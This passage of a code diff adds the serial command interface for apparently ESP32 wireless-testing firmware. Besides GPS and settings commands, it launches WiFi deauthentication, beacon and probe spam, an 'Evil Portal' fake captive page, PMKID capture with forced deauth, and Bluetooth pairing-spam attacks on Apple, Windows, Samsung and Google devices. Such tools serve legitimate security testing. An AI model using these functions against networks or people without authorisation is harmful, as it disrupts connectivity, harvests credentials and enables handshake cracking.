+ if(wifi_scan_obj.scanning() && wifi_scan_obj.currentScanMode == WIFI_SCAN_GPS_NMEA){
+ if(input != STOPSCAN_CMD) return;
+ }
+ else
+ Serial.println("#" + input);
+
+ LinkedList cmd_args = this->parseCommand(input, " ");
+
+ //// Admin commands
+ // Help
+ if (cmd_args.get(0) == HELP_CMD) {
+ Serial.println(HELP_HEAD);
+ Serial.println(HELP_CH_CMD);
+ Serial.println(HELP_SETTINGS_CMD);
+ Serial.println(HELP_CLEARAP_CMD_A);
+ Serial.println(HELP_REBOOT_CMD);
+ Serial.println(HELP_UPDATE_CMD_A);
+ Serial.println(HELP_LS_CMD);
+ Serial.println(HELP_LED_CMD);
+ Serial.println(HELP_GPS_DATA_CMD);
+ Serial.println(HELP_GPS_CMD);
+ Serial.println(HELP_NMEA_CMD);
+
+ // WiFi sniff/scan
+ Serial.println(HELP_EVIL_PORTAL_CMD);
+ Serial.println(HELP_SIGSTREN_CMD);
+ Serial.println(HELP_SCANAP_CMD);
+ Serial.println(HELP_SCANSTA_CMD);
+ Serial.println(HELP_SNIFF_RAW_CMD);
+ Serial.println(HELP_SNIFF_BEACON_CMD);
+ Serial.println(HELP_SNIFF_PROBE_CMD);
+ Serial.println(HELP_SNIFF_PWN_CMD);
+ Serial.println(HELP_SNIFF_ESP_CMD);
+ Serial.println(HELP_SNIFF_DEAUTH_CMD);
+ Serial.println(HELP_SNIFF_PMKID_CMD);
+ Serial.println(HELP_STOPSCAN_CMD);
+ #ifdef HAS_GPS
+ Serial.println(HELP_WARDRIVE_CMD);
+ #endif
+
+ // WiFi attack
+ Serial.println(HELP_ATTACK_CMD);
+
+ // WiFi Aux
+ Serial.println(HELP_LIST_AP_CMD_A);
+ Serial.println(HELP_LIST_AP_CMD_B);
+ Serial.println(HELP_LIST_AP_CMD_C);
+ Serial.println(HELP_SEL_CMD_A);
+ Serial.println(HELP_SSID_CMD_A);
+ Serial.println(HELP_SSID_CMD_B);
+ Serial.println(HELP_SAVE_CMD);
+ Serial.println(HELP_LOAD_CMD);
+
+ // Bluetooth sniff/scan
+ #ifdef HAS_BT
+ Serial.println(HELP_BT_SNIFF_CMD);
+ Serial.println(HELP_BT_SPAM_CMD);
+ //Serial.println(HELP_BT_SWIFTPAIR_SPAM_CMD);
+ //Serial.println(HELP_BT_SAMSUNG_SPAM_CMD);
+ //Serial.println(HELP_BT_SPAM_ALL_CMD);
+ #ifdef HAS_GPS
+ Serial.println(HELP_BT_WARDRIVE_CMD);
+ #endif
+ Serial.println(HELP_BT_SKIM_CMD);
+ #endif
+ Serial.println(HELP_FOOT);
+ return;
+ }
+
+ // Stop Scan
+ if (cmd_args.get(0) == STOPSCAN_CMD) {
+ //if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
+ // wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+ //#ifdef HAS_SCREEN
+ // menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
+ //#endif
+ // WiFi.softAPdisconnect(true);
+ // web_obj.shutdownServer();
+ // return;
+ //}
+
+ uint8_t old_scan_mode=wifi_scan_obj.currentScanMode;
+
+ wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+
+ if(old_scan_mode == WIFI_SCAN_GPS_NMEA)
+ Serial.println("END OF NMEA STREAM");
+ else if(old_scan_mode == WIFI_SCAN_GPS_DATA)
+ Serial.println("Stopping GPS data updates");
+ else
+ Serial.println("Stopping WiFi tran/recv");
+
+ // If we don't do this, the text and button coordinates will be off
+ #ifdef HAS_SCREEN
+ display_obj.tft.init();
+ menu_function_obj.changeMenu(menu_function_obj.current_menu);
+ #endif
+ }
+ else if (cmd_args.get(0) == GPS_DATA_CMD) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ Serial.println("Getting GPS Data. Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_DATA;
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.gpsInfoMenu);
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_GPS_DATA, TFT_CYAN);
+ }
+ #endif
+ }
+ else if (cmd_args.get(0) == GPS_CMD) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ int get_arg = this->argSearch(&cmd_args, "-g");
+ int nmea_arg = this->argSearch(&cmd_args, "-n");
+
+ if (get_arg != -1) {
+ String gps_info = cmd_args.get(get_arg + 1);
+
+ if (gps_info == "fix")
+ Serial.println("Fix: " + gps_obj.getFixStatusAsString());
+ else if (gps_info == "sat")
+ Serial.println("Sats: " + gps_obj.getNumSatsString());
+ else if (gps_info == "lat")
+ Serial.println("Lat: " + gps_obj.getLat());
+ else if (gps_info == "lon")
+ Serial.println("Lon: " + gps_obj.getLon());
+ else if (gps_info == "alt")
+ Serial.println("Alt: " + (String)gps_obj.getAlt());
+ else if (gps_info == "accuracy")
+ Serial.println("Accuracy: " + (String)gps_obj.getAccuracy());
+ else if (gps_info == "date")
+ Serial.println("Date/Time: " + gps_obj.getDatetime());
+ else if (gps_info == "text"){
+ Serial.println(gps_obj.getText());
+ }
+ else if (gps_info == "nmea"){
+ int notparsed_arg = this->argSearch(&cmd_args, "-p");
+ int notimp_arg = this->argSearch(&cmd_args, "-i");
+ int recd_arg = this->argSearch(&cmd_args, "-r");
+ if(notparsed_arg == -1 && notimp_arg == -1 && recd_arg == -1){
+ gps_obj.sendSentence(Serial, gps_obj.generateGXgga().c_str());
+ gps_obj.sendSentence(Serial, gps_obj.generateGXrmc().c_str());
+ }
+ else if(notparsed_arg == -1 && notimp_arg == -1)
+ Serial.println(gps_obj.getNmea());
+ else if(notparsed_arg == -1)
+ Serial.println(gps_obj.getNmeaNotimp());
+ else
+ Serial.println(gps_obj.getNmeaNotparsed());
+ }
+ else
+ Serial.println("You did not provide a valid argument");
+ }
+ else if(nmea_arg != -1){
+ String nmea_type = cmd_args.get(nmea_arg + 1);
+
+ if (nmea_type == "native" || nmea_type == "all" || nmea_type == "gps" || nmea_type == "glonass"
+ || nmea_type == "galileo" || nmea_type == "navic" || nmea_type == "qzss" || nmea_type == "beidou"){
+ if(nmea_type == "beidou"){
+ int beidou_bd_arg = this->argSearch(&cmd_args, "-b");
+ if(beidou_bd_arg != -1)
+ nmea_type="beidou_bd";
+ }
+ gps_obj.setType(nmea_type);
+ Serial.println("GPS Output Type Set To: " + nmea_type);
+ }
+ else
+ Serial.println("You did not provide a valid argument");
+ }
+ else if(cmd_args.size()>1)
+ Serial.println("You did not provide a valid flag");
+ else
+ Serial.println("You did not provide an argument");
+ }
+ #endif
+ }
+ else if (cmd_args.get(0) == NMEA_CMD) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.gpsInfoMenu);
+ #endif
+ Serial.println("NMEA STREAM FOLLOWS");
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_NMEA;
+ wifi_scan_obj.StartScan(WIFI_SCAN_GPS_NMEA, TFT_CYAN);
+ }
+ #endif
+ }
+ // LED command
+ else if (cmd_args.get(0) == LED_CMD) {
+ int hex_arg = this->argSearch(&cmd_args, "-s");
+ int pat_arg = this->argSearch(&cmd_args, "-p");
+ #ifdef PIN
+ if (hex_arg != -1) {
+ String hexstring = cmd_args.get(hex_arg + 1);
+ int number = (int)strtol(&hexstring[1], NULL, 16);
+ int r = number >> 16;
+ int g = number >> 8 & 0xFF;
+ int b = number & 0xFF;
+ //Serial.println(r);
+ //Serial.println(g);
+ //Serial.println(b);
+ led_obj.setColor(r, g, b);
+ led_obj.setMode(MODE_CUSTOM);
+ }
+ else if (pat_arg != -1) {
+ String pat_name = cmd_args.get(pat_arg + 1);
+ pat_name.toLowerCase();
+ if (pat_name == "rainbow") {
+ led_obj.setMode(MODE_RAINBOW);
+ }
+ }
+ #else
+ Serial.println("This hardware does not support neopixel");
+ #endif
+ }
+ // ls command
+ else if (cmd_args.get(0) == LS_CMD) {
+ #ifdef HAS_SD
+ if (cmd_args.size() > 1)
+ sd_obj.listDir(cmd_args.get(1));
+ else
+ Serial.println("You did not provide a dir to list");
+ #else
+ Serial.println("SD support disabled, cannot use command");
+ return;
+ #endif
+ }
+
+ // Channel command
+ else if (cmd_args.get(0) == CH_CMD) {
+ // Search for channel set arg
+ int ch_set = this->argSearch(&cmd_args, "-s");
+
+ if (cmd_args.size() == 1) {
+ Serial.println("Current channel: " + (String)wifi_scan_obj.set_channel);
+ }
+ else if (ch_set != -1) {
+ wifi_scan_obj.set_channel = cmd_args.get(ch_set + 1).toInt();
+ wifi_scan_obj.changeChannel();
+ Serial.println("Set channel: " + (String)wifi_scan_obj.set_channel);
+ }
+ }
+ // Clear APs
+ else if (cmd_args.get(0) == CLEARAP_CMD) {
+ int ap_sw = this->argSearch(&cmd_args, "-a"); // APs
+ int ss_sw = this->argSearch(&cmd_args, "-s"); // SSIDs
+ int cl_sw = this->argSearch(&cmd_args, "-c"); // Stations
+
+ if (ap_sw != -1) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
+ #endif
+ wifi_scan_obj.RunClearAPs();
+ }
+
+ if (ss_sw != -1) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.clearSSIDsMenu);
+ #endif
+ wifi_scan_obj.RunClearSSIDs();
+ }
+
+ if (cl_sw != -1) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
+ #endif
+ wifi_scan_obj.RunClearStations();
+ }
+ }
+
+ else if (cmd_args.get(0) == SETTINGS_CMD) {
+ int ss_sw = this->argSearch(&cmd_args, "-s"); // Set setting
+ int re_sw = this->argSearch(&cmd_args, "-r"); // Reset setting
+ int en_sw = this->argSearch(&cmd_args, "enable"); // enable setting
+ int da_sw = this->argSearch(&cmd_args, "disable"); // disable setting
+
+ if (re_sw != -1) {
+ settings_obj.createDefaultSettings(SPIFFS);
+ return;
+ }
+
+ if (ss_sw == -1) {
+ settings_obj.printJsonSettings(settings_obj.getSettingsString());
+ }
+ else {
+ bool result = false;
+ String setting_name = cmd_args.get(ss_sw + 1);
+ if (en_sw != -1)
+ result = settings_obj.saveSetting(setting_name, true);
+ else if (da_sw != -1)
+ result = settings_obj.saveSetting(setting_name, false);
+ else {
+ Serial.println("You did not properly enable/disable this setting.");
+ return;
+ }
+
+ if (!result) {
+ Serial.println("Could not successfully update setting \"" + setting_name + "\"");
+ return;
+ }
+ }
+ }
+
+ else if (cmd_args.get(0) == REBOOT_CMD) {
+ Serial.println("Rebooting...");
+ ESP.restart();
+ }
+
+ //// WiFi/Bluetooth Scan/Attack commands
+ if (!wifi_scan_obj.scanning()) {
+ // Dump pcap/log to serial too, valid for all scan/attack commands
+ wifi_scan_obj.save_serial = this->argSearch(&cmd_args, "-serial") != -1;
+
+ // Signal strength scan
+ if (cmd_args.get(0) == SIGSTREN_CMD) {
+ Serial.println("Starting Signal Strength Scan. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
+ }
+ // Wardrive
+ else if (cmd_args.get(0) == WARDRIVE_CMD) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ int sta_sw = this->argSearch(&cmd_args, "-s");
+
+ if (sta_sw == -1) {
+ Serial.println("Starting Wardrive. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
+ }
+ else {Serial.println("Starting Station Wardrive. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_STATION_WAR_DRIVE, TFT_GREEN);
+ }
+ }
+ else
+ Serial.println("GPS Module not detected");
+ #else
+ Serial.println("GPS not supported");
+ #endif
+ }
+ // AP Scan
+ else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
+ int cmd_sw = this->argSearch(&cmd_args, "-c");
+ int html_sw = this->argSearch(&cmd_args, "-w");
+
+ if (cmd_sw != -1) {
+ String et_command = cmd_args.get(cmd_sw + 1);
+ if (et_command == "start") {
+ Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ if (html_sw != -1) {
+ String target_html_name = cmd_args.get(html_sw + 1);
+ evil_portal_obj.target_html_name = target_html_name;
+ evil_portal_obj.using_serial_html = false;
+ Serial.println("Set html file as " + evil_portal_obj.target_html_name);
+ }
+ //else {
+ // evil_portal_obj.target_html_name = "index.html";
+ //}
+ wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
+ }
+ else if (et_command == "reset") {
+
+ }
+ else if (et_command == "ack") {
+
+ }
+ else if (et_command == "sethtml") {
+ String target_html_name = cmd_args.get(cmd_sw + 2);
+ evil_portal_obj.target_html_name = target_html_name;
+ evil_portal_obj.using_serial_html = false;
+ Serial.println("Set html file as " + evil_portal_obj.target_html_name);
+ }
+ else if (et_command == "sethtmlstr") {
+ evil_portal_obj.setHtmlFromSerial();
+ }
+ else if (et_command == "setap") {
+
+ }
+ }
+ }
+ else if (cmd_args.get(0) == SCANAP_CMD) {
+ int full_sw = -1;
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+
+ if (full_sw == -1) {
+ Serial.println("Starting AP scan. Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP, TFT_MAGENTA);
+ }
+ else {
+ Serial.println("Starting Full AP scan. Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP_FULL, TFT_MAGENTA);
+ }
+ }
+ // Raw sniff
+ else if (cmd_args.get(0) == SNIFF_RAW_CMD) {
+ Serial.println("Starting Raw sniff. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
+ }
+ // Scan stations
+ else if (cmd_args.get(0) == SCANSTA_CMD) {
+ if(access_points->size() < 1)
+ Serial.println("The AP list is empty. Scan APs first with " + (String)SCANAP_CMD);
+
+ Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_ORANGE);
+ }
+ // Beacon sniff
+ else if (cmd_args.get(0) == SNIFF_BEACON_CMD) {
+ Serial.println("Starting Beacon sniff. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_AP, TFT_MAGENTA);
+ }
+ // Probe sniff
+ else if (cmd_args.get(0) == SNIFF_PROBE_CMD) {
+ Serial.println("Starting Probe sniff. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_PROBE, TFT_MAGENTA);
+ }
+ // Deauth sniff
+ else if (cmd_args.get(0) == SNIFF_DEAUTH_CMD) {
+ Serial.println("Starting Deauth sniff. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_DEAUTH, TFT_RED);
+ }
+ // Pwn sniff
+ else if (cmd_args.get(0) == SNIFF_PWN_CMD) {
+ Serial.println("Starting Pwnagotchi sniff. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_MAGENTA);
+ }
+ // Espressif sniff
+ else if (cmd_args.get(0) == SNIFF_ESP_CMD) {
+ Serial.println("Starting Espressif device sniff. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_MAGENTA);
+ }
+ // PMKID sniff
+ else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
+ int ch_sw = this->argSearch(&cmd_args, "-c");
+ int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
+ int l_sw = this->argSearch(&cmd_args, "-l"); // Only run on list
+
+ if (l_sw != -1) {
+ if (!this->apSelected()) {
+ Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+ return;
+ }
+ }
+
+ if (ch_sw != -1) {
+ wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
+ wifi_scan_obj.changeChannel();
+ Serial.println("Set channel: " + (String)wifi_scan_obj.set_channel);
+
+ }
+
+ if (d_sw == -1) {
+ Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
+ }
+ else if ((d_sw != -1) && (l_sw != -1)) {
+ Serial.println("Starting TARGETED PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_LIST_EAPOL, TFT_VIOLET);
+ }
+ else {
+ Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
+ }
+ }
+
+ //// WiFi attack commands
+ // attack
+ if (cmd_args.get(0) == ATTACK_CMD) {
+ int attack_type_switch = this->argSearch(&cmd_args, "-t"); // Required
+ int list_beacon_sw = this->argSearch(&cmd_args, "-l");
+ int rand_beacon_sw = this->argSearch(&cmd_args, "-r");
+ int ap_beacon_sw = this->argSearch(&cmd_args, "-a");
+ int src_addr_sw = this->argSearch(&cmd_args, "-s");
+ int dst_addr_sw = this->argSearch(&cmd_args, "-d");
+ int targ_sw = this->argSearch(&cmd_args, "-c");
+
+ if (attack_type_switch == -1) {
+ Serial.println("You must specify an attack type");
+ return;
+ }
+ else {
+ String attack_type = cmd_args.get(attack_type_switch + 1);
+
+ // Branch on attack type
+ // Deauth
+ if (attack_type == ATTACK_TYPE_DEAUTH) {
+ // Default to broadcast
+ if ((dst_addr_sw == -1) && (targ_sw == -1)) {
+ Serial.println("Sending to broadcast...");
+ wifi_scan_obj.dst_mac = "ff:ff:ff:ff:ff:ff";
+ }
+ // Dest addr specified
+ else if (dst_addr_sw != -1) {
+ wifi_scan_obj.dst_mac = cmd_args.get(dst_addr_sw + 1);
+ Serial.println("Sending to " + wifi_scan_obj.dst_mac + "...");
+ }
+ // Station list specified
+ else if (targ_sw != -1)
+ Serial.println("Sending to Station list");
+
+ // Source addr not specified
+ if (src_addr_sw == -1) {
+ if (!this->apSelected()) {
+ Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+ return;
+ }
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ Serial.println("Starting Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
+ // Station list not specified
+ if (targ_sw == -1)
+ wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
+ // Station list specified
+ else
+ wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
+ }
+ // Source addr specified
+ else {
+ String src_mac_str = cmd_args.get(src_addr_sw + 1);
+ sscanf(src_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
+ &wifi_scan_obj.src_mac[0], &wifi_scan_obj.src_mac[1], &wifi_scan_obj.src_mac[2], &wifi_scan_obj.src_mac[3], &wifi_scan_obj.src_mac[4], &wifi_scan_obj.src_mac[5]);
+
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ Serial.println("Starting Manual Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_MANUAL, TFT_RED);
+ }
+ }
+ // Beacon
+ else if (attack_type == ATTACK_TYPE_BEACON) {
+ // spam by list
+ if (list_beacon_sw != -1) {
+ if (!this->hasSSIDs()) {
+ Serial.println("You don't have any SSIDs in your list. Use " + (String)SSID_CMD);
+ return;
+ }
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ Serial.println("Starting Beacon list spam. Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_LIST, TFT_RED);
+ }
+ // spam with random
+ else if (rand_beacon_sw != -1) {
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ Serial.println("Starting random Beacon spam. Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_SPAM, TFT_ORANGE);
+ }
+ // Spam from AP list
+ else if (ap_beacon_sw != -1) {
+ if (!this->apSelected()) {
+ Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+ return;
+ }
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ Serial.println("Starting Targeted AP Beacon spam. Stop with " + (String)STOPSCAN_CMD);
+ wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA);
+ }
+ else {
+ Serial.println("You did not specify a beacon attack type");
+ }
+ }
+ else if (attack_type == ATTACK_TYPE_PROBE) {
+ if (!this->apSelected()) {
+ Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+ return;
+ }
+ Serial.println("Starting Probe spam. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
+ }
+ else if (attack_type == ATTACK_TYPE_RR) {
+ Serial.println("Starting Rick Roll Beacon spam. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
+ }
+ else {
+ Serial.println("Attack type not properly defined");
+ return;
+ }
+ }
+ }
+
+ //// Bluetooth scan/attack commands
+ // Bluetooth scan
+ if (cmd_args.get(0) == BT_SNIFF_CMD) {
+ #ifdef HAS_BT
+ Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else if (cmd_args.get(0) == BT_SPAM_CMD) {
+ int bt_type_sw = this->argSearch(&cmd_args, "-t");
+ if (bt_type_sw != -1) {
+ String bt_type = cmd_args.get(bt_type_sw + 1);
+
+ if (bt_type == "apple") {
+ #ifdef HAS_BT
+ Serial.println("Starting Sour Apple attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else if (bt_type == "windows") {
+ #ifdef HAS_BT
+ Serial.println("Starting Swiftpair Spam attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_SWIFTPAIR_SPAM, TFT_CYAN);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else if (bt_type == "samsung") {
+ #ifdef HAS_BT
+ Serial.println("Starting Samsung Spam attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_SAMSUNG_SPAM, TFT_CYAN);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else if (bt_type == "google") {
+ #ifdef HAS_BT
+ Serial.println("Starting Google Spam attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_GOOGLE_SPAM, TFT_CYAN);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else if (bt_type == "all") {
+ #ifdef HAS_BT
+ Serial.println("Starting BT Spam All attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_SPAM_ALL, TFT_MAGENTA);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else {
+ Serial.println("You did not specify a correct spam type");
+ }
+ }
+ }
+ /*else if (cmd_args.get(0) == BT_SOUR_APPLE_CMD) {
+ #ifdef HAS_BT
+ Serial.println("Starting Sour Apple attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else if (cmd_args.get(0) == BT_SWIFTPAIR_SPAM_CMD) {
+ #ifdef HAS_BT
+ Serial.println("Starting Swiftpair Spam attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_SWIFTPAIR_SPAM, TFT_CYAN);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else if (cmd_args.get(0) == BT_SAMSUNG_SPAM_CMD) {
+ #ifdef HAS_BT
+ Serial.println("Starting Samsung Spam attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_SAMSUNG_SPAM, TFT_CYAN);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+ else if (cmd_args.get(0) == BT_SPAM_ALL_CMD) {
+ #ifdef HAS_BT
+ Serial.println("Starting BT Spam All attack. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_ATTACK_SPAM_ALL, TFT_MAGENTA);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }*/
+ // Wardrive
+ else if (cmd_args.get(0) == BT_WARDRIVE_CMD) {
+ #ifdef HAS_BT
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ int cont_sw = this->argSearch(&cmd_args, "-c");
+
+ if (cont_sw == -1) {
+ Serial.println("Starting BT Wardrive. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE, TFT_GREEN);
+ }
+ else {Serial.println("Starting Continuous BT Wardrive. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
+ wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE_CONT, TFT_GREEN);
+ }
+ }
+ else
+ Serial.println("GPS Module not detected");
+ #else
+ Serial.println("GPS not supported");
+ #endif
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+
+ }
+ // Bluetooth CC Skimmer scan
+ else if (cmd_args.get(0) == BT_SKIM_CMD) {
+ #ifdef HAS_BT
+ Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
+ #ifdef HAS_SCREEN
+ display_obj.clearScreen();
+ menu_function_obj.drawStatusBar();
+ #endif
